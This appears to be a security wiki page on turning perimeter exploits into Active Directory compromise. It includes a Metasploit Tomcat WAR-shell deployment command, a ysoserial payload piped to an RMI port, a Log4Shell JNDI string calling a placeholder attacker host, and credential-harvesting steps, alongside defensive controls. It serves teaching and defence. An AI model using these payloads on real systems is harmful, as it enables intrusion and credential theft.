Most Active Directory write-ups begin with "assume a foothold on the internal network." This page is about earning that foothold. The perimeter — internet-facing web apps, mail servers, management consoles — matters to a domain attacker for one reason: those boxes are usually domain-joined, run as service accounts, and cache credentials. Code execution on an edge server is rarely the goal in itself; it is the on-ramp to the attack path.
The pivot mindset: a web shell is a process token. Ask what that token is
(whoami /all), what it can reach, and whose credentials are sitting in memory or
on disk next to it. A perimeter RCE becomes a domain compromise the moment you pull the first
domain credential off the host.
Why the edge leads inward
| Edge asset | What it hands you |
|---|---|
| Domain-joined web/app server | A machine account and a network position inside the domain |
| Service account context | Often SeImpersonate (→ SYSTEM) or excessive domain rights |
| Mail server (Exchange) | Historically over-privileged in AD — a short hop to Domain Admin |
| Cached / stored credentials | Config files, connection strings, and LSASS secrets for lateral movement |
Management consoles & app-server deployment
Application servers are built to run code you give them — that is their function, and their weakness. A weak or default credential on a management console usually means arbitrary code execution by design:
- Tomcat / JBoss / WildFly — the manager app deploys a WAR; a deployed WAR is a web shell.
- Jenkins — the Script Console runs Groovy as the Jenkins service account; build steps run commands.
- WebLogic / WebSphere / GlassFish — admin consoles and, frequently, unauthenticated deserialization endpoints (below).
# Tomcat manager (after a weak-cred login): deploy a WAR shell
msfconsole -q -x 'use exploit/multi/http/tomcat_mgr_deploy; set RHOSTS <ip>; run'Always try default and reused credentials first — it is the quietest path and it maps to the Default credentials entry in Vulns & Misconfigs.
Insecure deserialization
Many platforms accept serialized objects — Java serialized streams, .NET
ViewState/BinaryFormatter, RMI ports, message queues. If the server
deserializes attacker-controlled data and a suitable gadget chain exists on its
classpath, reconstructing the object graph triggers code execution. You are not exploiting
the data; you are exploiting the act of rebuilding objects from it.
java -jar ysoserial.jar CommonsCollections5 'cmd /c <payload>' | nc <target> <rmi_port>The details are on the Insecure deserialization page; what matters here is that it is a pre-auth RCE primitive on a domain-joined host, i.e. a perimeter on-ramp. The same idea underlies the Exchange chains below.
Log4Shell (CVE-2021-44228)
Log4Shell is worth understanding in full because it is the archetype of "a logged string
becomes remote code execution." The vulnerable versions of the log4j library performed
message lookups: if a logged string contained a ${...}
expression, log4j evaluated it. One supported lookup was JNDI, which can
resolve a name over LDAP or RMI and, in vulnerable configurations, fetch and instantiate a
remote Java class. So logging attacker input that contains a JNDI expression makes the server
reach out to the attacker and run their class:
# place this where the app will log it — a header, User-Agent, username field, chat message:
${jndi:ldap://<attacker_ip>:1389/a}
# serve the referral + malicious class with a JNDI exploit kit; the app loads and runs it
It is devastating because the injection point is anything that gets logged (no
authentication needed), it is trivially obfuscated
(${lower:j}, nested lookups, ${env:...}), and the early patches
were themselves bypassable — 2.15 still allowed some lookups, 2.16 disabled JNDI, and the
fully fixed line is 2.17.1+. Treat any Java service that echoes user input into logs as a
candidate. This maps to the Command injection family in
Vulns & Misconfigs.
Exchange pre-auth chains (ProxyLogon / ProxyShell / ProxyNotShell)
On-premises Exchange deserves its own paragraph because it is both internet-facing and, by
design, highly privileged in Active Directory — the Exchange security groups have
historically held rights (like WriteDacl on the domain) that make an Exchange
compromise a near-direct path to Domain Admin (the basis of PrivExchange). The
modern pre-auth chains share a shape: a server-side request forgery reaches an internal
endpoint, and a follow-on primitive writes a web shell or runs code.
| Chain | Mechanism (high level) |
|---|---|
| ProxyLogon (CVE-2021-26855 + 27065) | SSRF to the backend authenticates as the server, then an arbitrary file write drops an .aspx shell |
| ProxyShell (CVE-2021-34473 / 34523 / 31207) | Autodiscover path confusion → backend PowerShell → export a mailbox as a web shell |
| ProxyNotShell / OWASSRF | Later SSRF + remote PowerShell variants reviving the same pattern |
Because the resulting shell runs as a highly-privileged Exchange process on a domain-joined host, the pivot to the domain is short — often just enumerating the Exchange group rights and abusing them, or relaying the machine account (see Coercion & Relay).
The pivot: from web shell to domain
However you land, the follow-through is the same and it feeds straight into the rest of the map:
- Identify the token —
whoami /all; note privileges (SeImpersonate?) and group memberships. - Escalate locally — a potato to SYSTEM if the service token allows it.
- Harvest credentials — LSASS, SAM, DPAPI, plus config files and connection strings on disk.
- Enumerate the domain — you are now an internal host; run BloodHound and pick a path to Domain Admin.
Detection & defence
| Control | Effect |
|---|---|
| Patch aggressively and inventory internet-facing services | These are all known-CVE or known-misconfig classes — currency is the primary defence |
Run edge services as low-privileged, non-domain or gMSA accounts; strip SeImpersonate where feasible | Breaks the token-to-SYSTEM and account-reuse pivots |
| Reduce Exchange's AD rights; isolate and monitor Exchange servers as Tier 0-adjacent | Removes the historic Exchange-to-DA shortcut |
| Egress-filter server networks | Log4Shell/JNDI and deserialization stagers need outbound to the attacker — block it |
Alert on web processes spawning shells, new .aspx/.war files, and outbound LDAP/RMI from app servers | Catches deployment, web-shell drops and JNDI callbacks |
| Change default credentials on every console | Closes the quietest path of all |
The takeaway
The perimeter is not a separate discipline from AD — it is the first level of the same graph. Edge exploitation (default consoles, deserialization, Log4Shell, Exchange chains) gets you a process on a domain-joined host; the domain compromise begins the instant you turn that process into a domain credential. Keep edge services patched, low-privileged and egress-filtered, and treat Exchange as the crown-jewels-adjacent system it is. The exploitation primitives are catalogued in Vulns & Misconfigs, and where you go next is the whole Attack-Path map.